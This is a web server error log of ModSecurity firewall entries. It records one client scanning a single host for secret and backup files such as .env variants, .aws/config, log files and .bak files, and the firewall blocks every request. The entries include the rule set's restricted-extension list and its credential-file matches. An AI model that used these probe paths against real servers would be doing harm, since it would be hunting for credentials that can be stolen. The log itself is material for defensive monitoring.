[Sun Nov 30 15:25:32.255628 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aSxT3H-YzzK-2pqhifF38gAAAEU&quot;]
[Sun Nov 30 15:25:32.711635 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/application.log&quot;] [unique_id &quot;aSxT3H-YzzK-2pqhifF39AAAAEU&quot;]
[Sun Nov 30 15:25:32.712109 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/application.log&quot;] [unique_id &quot;aSxT3H-YzzK-2pqhifF39AAAAEU&quot;]
[Sun Nov 30 15:25:32.712380 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/application.log&quot;] [unique_id &quot;aSxT3H-YzzK-2pqhifF39AAAAEU&quot;]
[Sun Nov 30 15:25:32.936127 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aSxT3H-YzzK-2pqhifF39QAAAEU&quot;]
[Sun Nov 30 15:25:32.936361 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aSxT3H-YzzK-2pqhifF39QAAAEU&quot;]
[Sun Nov 30 15:25:32.938400 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aSxT3H-YzzK-2pqhifF39QAAAEU&quot;]
[Sun Nov 30 15:25:33.618189 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aSxT3X-YzzK-2pqhifF3-AAAAEU&quot;]
[Sun Nov 30 15:25:33.618441 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aSxT3X-YzzK-2pqhifF3-AAAAEU&quot;]
[Sun Nov 30 15:25:33.618643 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aSxT3X-YzzK-2pqhifF3-AAAAEU&quot;]
[Sun Nov 30 15:25:33.844088 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/error.log&quot;] [unique_id &quot;aSxT3X-YzzK-2pqhifF3-QAAAEU&quot;]
[Sun Nov 30 15:25:33.844419 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/error.log&quot;] [unique_id &quot;aSxT3X-YzzK-2pqhifF3-QAAAEU&quot;]
[Sun Nov 30 15:25:33.844623 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/error.log&quot;] [unique_id &quot;aSxT3X-YzzK-2pqhifF3-QAAAEU&quot;]
[Sun Nov 30 15:25:34.068391 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cronlab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aSxT3n-YzzK-2pqhifF3-gAAAEU&quot;]
[Sun Nov 30 15:25:34.068613 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aSxT3n-YzzK-2pqhifF3-gAAAEU&quot;]
[Sun Nov 30 15:25:34.068813 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aSxT3n-YzzK-2pqhifF3-gAAAEU&quot;]
[Sun Nov 30 15:25:34.517498 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aSxT3n-YzzK-2pqhifF3_AAAAEU&quot;]
[Sun Nov 30 15:25:34.517754 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aSxT3n-YzzK-2pqhifF3_AAAAEU&quot;]
[Sun Nov 30 15:25:34.517996 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aSxT3n-YzzK-2pqhifF3_AAAAEU&quot;]
[Sun Nov 30 15:25:34.742052 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aSxT3n-YzzK-2pqhifF3_QAAAEU&quot;]
[Sun Nov 30 15:25:34.742292 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aSxT3n-YzzK-2pqhifF3_QAAAEU&quot;]
[Sun Nov 30 15:25:34.742528 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aSxT3n-YzzK-2pqhifF3_QAAAEU&quot;]
[Sun Nov 30 15:25:35.867676 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aSxT33-YzzK-2pqhifF4AgAAAEU&quot;]
[Sun Nov 30 15:25:35.867846 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aSxT33-YzzK-2pqhifF4AgAAAEU&quot;]
[Sun Nov 30 15:25:35.868055 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aSxT33-YzzK-2pqhifF4AgAAAEU&quot;]
[Sun Nov 30 15:25:35.868266 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aSxT33-YzzK-2pqhifF4AgAAAEU&quot;]
[Sun Nov 30 15:25:36.092548 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aSxT4H-YzzK-2pqhifF4AwAAAEU&quot;]
[Sun Nov 30 15:25:36.092868 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aSxT4H-YzzK-2pqhifF4AwAAAEU&quot;]
[Sun Nov 30 15:25:36.093061 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aSxT4H-YzzK-2pqhifF4AwAAAEU&quot;]
[Sun Nov 30 15:25:36.771872 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.save&quot;] [unique_id &quot;aSxT4H-YzzK-2pqhifF4BgAAAEU&quot;]
[Sun Nov 30 15:25:36.772092 2025] [:error] [pid 427804] [client 18.228.238.136:33102] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.save&quot;] [unique_id &quot;aSxT4H-YzzK-2pqhifF4BgAAAEU&quot;]
